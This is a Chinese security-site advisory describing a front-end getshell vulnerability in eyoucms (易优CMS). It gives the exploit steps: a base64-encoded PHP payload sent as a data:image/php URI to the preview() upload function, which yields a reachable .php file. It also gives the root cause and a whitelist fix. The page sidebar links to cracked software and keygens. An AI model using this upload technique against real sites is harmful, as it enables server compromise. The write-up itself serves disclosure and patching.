ce安全网绿色资源分享

教程资讯|常用软件|安卓下载|下载排行|最近更新

软件
软件
文章
当前位置：首页 → 网络安全 → 安全文章 → eyoucms（易优CMS）前台shell漏洞

eyoucms（易优CMS）前台shell漏洞

时间：2018-08-26 00:05:10人气：次作者：本站作者我要评论

eyoucms（易优CMS）前台getshell

eyoucms官网：www.eyoucms.com

漏洞利用

构造

  1. <?php phpinfo();

eyoucms（易优CMS）前台shell漏洞

Post数据

  1. data:image/php;base64,PD9waHAgcGhwaW5mbygpOw==

eyoucms（易优CMS）前台shell漏洞

Getshell

http://www.cesafe.com/preview/ae85d74a721b0b8bd247bc31207a12e2.php

大致利用方法就是这样的，下面分析一下该漏洞的形成原因。

漏洞详解

漏洞文件： eyoucms1.0\application\api\controller\Uploadify.php

漏洞函数：preview()

eyoucms（易优CMS）前台shell漏洞

eyoucms（易优CMS）前台shell漏洞

而我刚开始时也思考了一下，这会不会是作者故意搞的后门？带着这个问题我去问了一下加的php群的一些程序员 他们很惊讶的 表示data:image/ 居然还可以不是图片？

好吧。到这里我就基本明白为什么这个漏洞会出现了，估计作者以为data:image/ 只能是图片。

漏洞修复建议

  1. if (!in_array($type, array('jpg', 'png', 'jpeg', 'gif'), true)) {
  2.    exit;
  3. }

eyoucms（易优CMS）前台shell漏洞

相关文章

猜你喜欢

网友评论

验证码:

请自觉遵守互联网相关政策法规，评论内容只代表网友观点，与本站立场无关！

最新评论

已有人参与，点击查看更多精彩评论

推荐文章

本类推荐

本类热门

热门软件

快手官方解封神器，一键快速解封快手账号安全文章 “黑客教父”郭盛华被警方抓捕 涉嫌非法利用信息网络罪被刑拘安全新闻 福昕pdf编辑器(附激活码)图像处理 最新电影电视可用m3u8直播源【2018-5-15更新m3u8直播源】破解资源 餐饮管家收银管理2.2.0下载其它行业 黑客定位技术-黑客定位手机号查询精准物理位置找人安全新闻 最新BarTender2020注册机下载扫描打印 谷歌访问助手chrome插件上网辅助 迅捷视频转换器免费(附注册码)格式转换

关于CE安全网 | 联系方式 | 发展历程 | 版权声明 | 下载帮助(？) | 广告联系 | 网站地图 | 友情链接

Copyright 2019-2029 cesafe.com 【CE安全网】 版权所有 琼ICP备2021004244号-1| 琼ICP备2021004244号-1

声明： 本站为非赢利性网站 不接受任何赞助和广告 所有软件和文章来自互联网 如有异议 请与本站联系 技术支持:ce安全网